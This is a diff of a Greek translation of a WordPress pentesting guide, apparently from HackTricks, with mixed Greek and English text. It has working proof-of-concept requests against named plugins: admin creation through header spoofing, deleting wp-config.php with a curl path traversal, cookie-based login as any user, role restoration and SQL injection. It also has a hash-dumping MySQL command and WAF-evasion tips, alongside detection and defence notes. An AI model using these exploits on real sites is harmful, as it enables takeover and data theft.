site. -Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως penetration testing με ρητή άδεια. +Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## From XSS to RCE +## Από XSS σε RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες σε WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για Wordpress Versions 6.X.X, 5.X.X and 4.X.X. και επιτρέπει:** -- _**Privilege Escalation:**_ Creates an user in WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress. -- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress. -- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Ανεβάστε το custom plugin (backdoor) σας στο WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Επεξεργασία ενσωματωμένων plugins στο WordPress. +- _**(RCE) Built-In Theme Edit:**_ Επεξεργασία ενσωματωμένων themes στο WordPress. +- _**(Custom) Custom Exploits:**_ Προσαρμοσμένα exploits για third-party WordPress plugins/themes. ## Post Exploitation -Εξαγωγή usernames και passwords: +Extract usernames and passwords: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -333,27 +333,27 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Wordpress Plugins Pentest -### Επιφάνεια Επίθεσης +### Attack Surface -Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για τον εντοπισμό ευπαθειών στη λειτουργικότητά του. Μπορείτε να δείτε πώς ένα plugin ενδέχεται να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευπαθών plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για τον εντοπισμό ευπαθειών στη λειτουργία του. Μπορείτε να δείτε πώς ένα plugin ενδέχεται να εκθέτει λειτουργικότητα στα παρακάτω σημεία, καθώς και κάποια παραδείγματα ευπαθών plugins στο [**αυτό το άρθρο**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Ένας από τους τρόπους με τους οποίους ένα Wordpress plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτές μπορούν να περιέχουν σφάλματα στη λογική, authorization, ή authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει** (ανεξάρτητα από το ρόλο του). +Ένας από τους τρόπους που ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω AJAX handlers. Αυτοί μπορεί να περιέχουν σφάλματα στη λογική, authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce, το οποίο **οποιοσδήποτε χρήστης authenticated στην Wordpress instance μπορεί να έχει** (ανεξαρτήτως ρόλου). Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμη και μη αυθεντικοποιημένους).** +**Η χρήση του `nopriv` κάνει το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμα και μη αυθεντικοποιημένους).** > [!CAUTION] -> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει ότι ο χρήστης είναι συνδεδεμένος, δεν ελέγχει συνήθως το ρόλο του χρήστη. Έτσι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες υψηλών προνομίων. +> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς επαληθεύει ότι ο χρήστης είναι συνδεδεμένος — συνήθως δεν ελέγχει το ρόλο του χρήστη. Έτσι χρήστες με χαμηλά δικαιώματα μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια. - **REST API** -Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`: +Επίσης είναι δυνατό να εκτεθούν συναρτήσεις από το wordpress καταχωρίζοντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -Η `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας δεδομένος χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο API. +Η `permission_callback` είναι μια callback συνάρτηση που ελέγχει αν ένας δεδομένος χρήστης είναι εξουσιοδοτημένος να καλέσει την API μέθοδο. -**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, θα παραλείψει απλά τον έλεγχο δικαιωμάτων του χρήστη.** +**If the built-in `__return_true` function is used, it'll simply skip user permissions check.** -- **Άμεση πρόσβαση στο αρχείο PHP** +- **Άμεση πρόσβαση στο php αρχείο** -Φυσικά, Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, εάν ένα plugin εκθέτει κάποια ευάλωτη λειτουργία που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμη από οποιονδήποτε χρήστη. +Φυσικά, Wordpress χρησιμοποιεί PHP και αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Οπότε, στην περίπτωση που ένα plugin εκθέτει κάποια ευπαθή λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμη από οποιονδήποτε χρήστη. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Ορισμένα plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον context χρήστη για αιτήματα REST. Εάν το header δεν είναι κρυπτογραφικά δεμένο με το αίτημα από ένα upstream component, ένας επιτιθέμενος μπορεί να το ψευδοποιήσει και να προσπελάσει προνομιούχες REST routes ως administrator. +Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator. -- Αντίκτυπος: μη-επαληθευμένη κλιμάκωση προνομίων σε administrator, δημιουργώντας νέο administrator μέσω του core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (εξαναγκάζει user ID 1, συνήθως τον πρώτο administrator λογαριασμό). -- Exploited route: `POST /wp-json/wp/v2/users` με έναν πίνακα ρόλων με αυξημένα δικαιώματα. +- Επίπτωση: unauthenticated privilege escalation σε admin μέσω δημιουργίας νέου administrator μέσω του core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (αναγκάζει user ID 1, συνήθως τον πρώτο administrator account). +- Exploited route: `POST /wp-json/wp/v2/users` με ένα elevated role array. PoC ```http @@ -393,29 +393,29 @@ Content-Length: 114 ``` Γιατί λειτουργεί -- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση αυθεντικοποίησης και παραλείπει τους ελέγχους capability. -- Το WordPress core αναμένει την capability `create_users` για αυτό το route· το plugin hack την παρακάμπτει θέτοντας απευθείας το current user context από το header. +- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση authentication και παρακάμπτει τους ελέγχους capability. +- Το WordPress core αναμένει την capability `create_users` για αυτό το route· το hack του plugin την παρακάμπτει ρυθμίζοντας άμεσα το current user context από το header. -Προσδοκώμενοι δείκτες επιτυχίας +Δείκτες επιτυχίας - HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη. -- Ένας νέος admin χρήστης ορατός στο `wp-admin/users.php`. +- Νέος admin χρήστης ορατός στο `wp-admin/users.php`. -Λίστα ελέγχου ανίχνευσης +Λίστα ελέγχου εντοπισμού -- Κάντε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το user context (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Ελέγξτε τις εγγραφές REST για privileged callbacks που στερούνται ισχυρών ελέγχων `permission_callback` και αντ' αυτού βασίζονται σε request headers. -- Αναζητήστε χρήσεις των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header. +- Ψάξτε με grep για `getallheaders()`, `$_SERVER['HTTP_...']` ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το user context (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Εξετάστε τις REST registrations για privileged callbacks που στερούνται ισχυρών ελέγχων `permission_callback` και στηρίζονται αντίθετα σε request headers. +- Ψάξτε για usages των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header. -### Αυθαίρετη Διαγραφή Αρχείων από Μη Αυθεντικοποιημένο Χρήστη μέσω wp_ajax_nopriv (Litho Theme <= 3.0) +### Μη-επαληθευμένη Αυθαίρετη Διαγραφή Αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0) -Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_** **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί: +Τα WordPress θέματα και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν η παραλλαγή **_nopriv_** χρησιμοποιείται **το callback γίνεται προσβάσιμο από μη-επαληθευμένους επισκέπτες**, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί: 1. Έναν **έλεγχο capability** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και 2. Ένα **CSRF nonce** επικυρωμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και -3. **Αυστηρή απολύμανση / επαλήθευση εισόδων**. +3. **Αυστηρή εξυγίανση / επικύρωση εισόδων**. -Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στην *Remove Font Family* λειτουργία και τελικά παρέδωσε τον παρακάτω κώδικα (απλουστευμένος): +Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Remove Font Family* και τελικά παρείχε τον παρακάτω κώδικα (απλοποιημένος): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,37 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Προβλήματα που εισάγονται από αυτό το απόσπασμα: +Προβλήματα που εισάγει αυτό το απόσπασμα: -* **Μη αυθεντικοποιημένη πρόσβαση** – το `wp_ajax_nopriv_` hook έχει καταχωρηθεί. -* **Χωρίς nonce / έλεγχο δικαιωμάτων** – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint. -* **Χωρίς sanitisation διαδρομής** – η από τον χρήστη ελεγχόμενη συμβολοσειρά `fontfamily` συγχωνεύεται σε διαδρομή του filesystem χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal. +* **Μη αυθεντικοποιημένη πρόσβαση** – το hook `wp_ajax_nopriv_` καταχωρείται. +* **Καμία επαλήθευση nonce / capability** – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint. +* **Καμία απολύμανση διαδρομής** – η συμβολοσειρά `fontfamily` που ελέγχεται από τον χρήστη συνενώνεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας την κλασική `../../` traversal. -#### Εκμετάλλευση +#### Exploitation -Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST αίτημα: +Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST request: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Επειδή `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις αλληλουχίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress στον *οδηγό εγκατάστασης* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB διαμόρφωση και δημιουργεί έναν admin χρήστη). +Επειδή το `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις ακολουθίες `../` αρκούν σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να μπει στο *installation wizard* στην επόμενη επίσκεψη, επιτρέποντας πλήρες site take-over (ο attacker απλώς παρέχει νέα DB configuration και δημιουργεί έναν admin χρήστη). -Άλλοι σημαντικοί στόχοι περιλαμβάνουν plugin/theme αρχεία `.php` (για να σπάσουν πρόσθετα ασφαλείας) ή κανόνες `.htaccess`. +Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme `.php` (για να σπάσουν security plugins) ή κανόνες `.htaccess`. #### Λίστα ελέγχου ανίχνευσης -* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί βοηθητικά για το filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.). -* Συνένωση μη φιλτραρισμένης εισόδου χρήστη σε μονοπάτια (ψάξτε για `$_POST`, `$_GET`, `$_REQUEST`). -* Έλλειψη `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`. +* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.). +* Συνένωση μη-ελεγχόμενης εισόδου χρήστη σε paths (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`). +* Απουσία των `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`. --- -### Αύξηση προνομίων μέσω επαναφοράς παλαιών ρόλων και έλλειψης εξουσιοδότησης (ASE "View Admin as Role") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Πολλά plugins υλοποιούν λειτουργία "view as role" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό/ους ρόλο/ους στο user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν το μονοπάτι επαναφοράς εξαρτάται μόνο από παραμέτρους αίτησης (π.χ. `$_REQUEST['reset-for']`) και από μια λίστα που διατηρεί το plugin χωρίς έλεγχο δυνατοτήτων (capabilities) και έγκυρου nonce, αυτό μετατρέπεται σε κάθετη αύξηση προνομίων. +Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. -Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το branch επαναφοράς έφερνε πίσω ρόλους βάσει `reset-for=` αν το όνομα χρήστη εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτελούσε ούτε `current_user_can()` έλεγχο ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και ξαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`: +Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει του `reset-for=` αν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,13 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Γιατί είναι εκμεταλλεύσιμο +Why it’s exploitable -- Εμπιστεύεται το `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση στην πλευρά του server. -- Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσεγγίζοντας τη διαδρομή επαναφοράς. -- Σε κάποιες εγκαταστάσεις, οποιοσδήποτε πιστοποιημένος χρήστης θα μπορούσε να προκαλέσει επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (σφάλμα εξουσιοδότησης). +- Εμπιστεύεται `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση από την πλευρά του διακομιστή. +- Εάν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας το reset path. +- Σε κάποιες αναπτύξεις, οποιοσδήποτε authenticated user θα μπορούσε να προκαλέσει reset για άλλο username που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (broken authorization). -Εκμετάλλευση (παράδειγμα) +Exploitation (example) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -493,23 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Σε ευάλωτες builds αυτό αφαιρεί τα current roles και επαναπροσθέτει τα αποθηκευμένα original roles (π.χ. `administrator`), αποτελεσματικά escalating privileges. +Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. `administrator`), αυξάνοντας ουσιαστικά τα προνόμια. Detection checklist -- Αναζητήστε role-switching features που αποθηκεύουν “original roles” σε user meta (π.χ. `_asenha_view_admin_as_original_roles`). -- Εντοπίστε reset/restore paths που: -- Διαβάζουν usernames από `$_REQUEST` / `$_GET` / `$_POST`. -- Τροποποιούν roles μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`. -- Εξουσιοδοτούν με βάση ένα plugin option array (π.χ. `viewing_admin_as_role_are`) αντί για τις capabilities του actor. +- Αναζητήστε λειτουργίες role-switching που διατηρούν “original roles” στο user meta (π.χ. `_asenha_view_admin_as_original_roles`). +- Εντοπίστε διαδρομές επαναφοράς που: +- Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`. +- Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`. +- Εξουσιοδοτούν βάσει πίνακα επιλογών plugin (π.χ. `viewing_admin_as_role_are`) αντί για τις ικανότητες του ενεργούντος χρήστη. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Κάποια plugins συνδέουν user-switching helpers στο public `init` hook και εξάγουν ταυτότητα από ένα client-controlled cookie. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει authentication, capability και ένα έγκυρο nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να force login ως οποιοδήποτε user ID. +Κάποια plugins συνδέουν user-switching helpers στο δημόσιο `init` hook και εξάγουν ταυτότητα από cookie που ελέγχεται από τον client. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει την αυθεντικοποίηση, τις ικανότητες και ένα έγκυρο nonce, οποιοσδήποτε μη αυθεντικοποιημένος επισκέπτης μπορεί να αναγκάσει σύνδεση ως αυθαίρετο user ID. -Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): +Τυπικό ευάλωτο pattern (απλοποιημένο από Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Γιατί είναι εκμεταλλεύσιμο -- Ο δημόσιος `init` hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`). -- Η ταυτότητα προέρχεται από cookie που μπορεί να τροποποιηθεί από τον client (`original_user_id`). -- Άμεση κλήση της `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο δικαιωμάτων/nonce. +- Το δημόσιο `init` hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`). +- Η ταυτότητα προκύπτει από ένα cookie που τροποποιείται από τον client (`original_user_id`). +- Άμεση κλήση του `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο capability/nonce. -Εκμετάλλευση (χωρίς έλεγχο ταυτότητας) +Εκμετάλλευση (χωρίς αυθεντικοποίηση) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,32 +554,32 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### Σκέψεις WAF για CVEs του WordPress/πρόσθετων -Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. +Οι γενικοί edge/server WAFs ρυθμίζονται για ευρείς προτύπους (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου στο WordPress/στα πρόσθετα είναι σφάλματα λογικής/ελέγχου ταυτότητας ειδικά στην εφαρμογή που μοιάζουν με αθώα κίνηση εκτός αν η μηχανή κατανοεί τις διαδρομές του WordPress και τη σημασιολογία των πρόσθετων. Offensive notes -- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. -- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Στοχεύστε plugin-specific endpoints με clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Δοκιμάστε πρώτα unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads συχνά πετυχαίνουν χωρίς obfuscation. +- Τυπικές περιπτώσεις υψηλού αντίκτυπου: privilege escalation (broken access control), αυθαίρετη αποστολή/λήψη αρχείων, LFI, open redirect. Defensive notes -- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. -- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. +- Μην βασίζεστε σε γενικές υπογραφές WAF για να προστατέψετε plugin CVEs. Εφαρμόστε virtual patches σε επίπεδο εφαρμογής ειδικά για την ευπάθεια ή ενημερώστε άμεσα. +- Προτιμήστε positive-security checks στον κώδικα (capabilities, nonces, strict input validation) αντί για αρνητικά regex φίλτρα. ## WordPress Protection -### Regular Updates +### Τακτικές ενημερώσεις -Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: +Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Επίσης, **εγκαταστήστε μόνο αξιόπιστα WordPress πρόσθετα και θέματα**. +Εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes. ### Πρόσθετα Ασφαλείας @@ -593,10 +593,10 @@ add_filter( 'auto_update_theme', '__return_true' ); - Χρησιμοποιήστε **ισχυρούς κωδικούς** και **2FA** - Περιοδικά **ελέγχετε** τα **δικαιώματα** των χρηστών - **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force -- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέπετε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP. +- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP. -### Μη αυθεντικοποιημένη SQL Injection λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2) +### Μη αυθεντικοποιημένο SQL Injection λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2) Το WP Job Portal recruitment plugin αποκάλυπτε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`: ```php @@ -608,11 +608,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Προβλήματα που εισάγει αυτό το απόσπασμα: +Issues introduced by this snippet: -1. **Μη εξουδετερωμένη είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το αίτημα HTTP. -2. **Συνένωση συμβολοσειρών μέσα στο WHERE clause** – δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement. -3. **Προσβασιμότητα χωρίς έλεγχο ταυτότητας** – παρόλο που η ενέργεια εκτελείται μέσω του `admin-post.php`, ο μοναδικός έλεγχος είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`. +1. **Μη-καθαρισμένη είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το HTTP αίτημα. +2. **Συγκόλληση συμβολοσειρών μέσα στο WHERE clause** – δεν χρησιμοποιείται `is_numeric()` / `esc_sql()` / prepared statement. +3. **Προσβασιμότητα χωρίς ταυτοποίηση** – παρόλο που η ενέργεια εκτελείται μέσω `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης 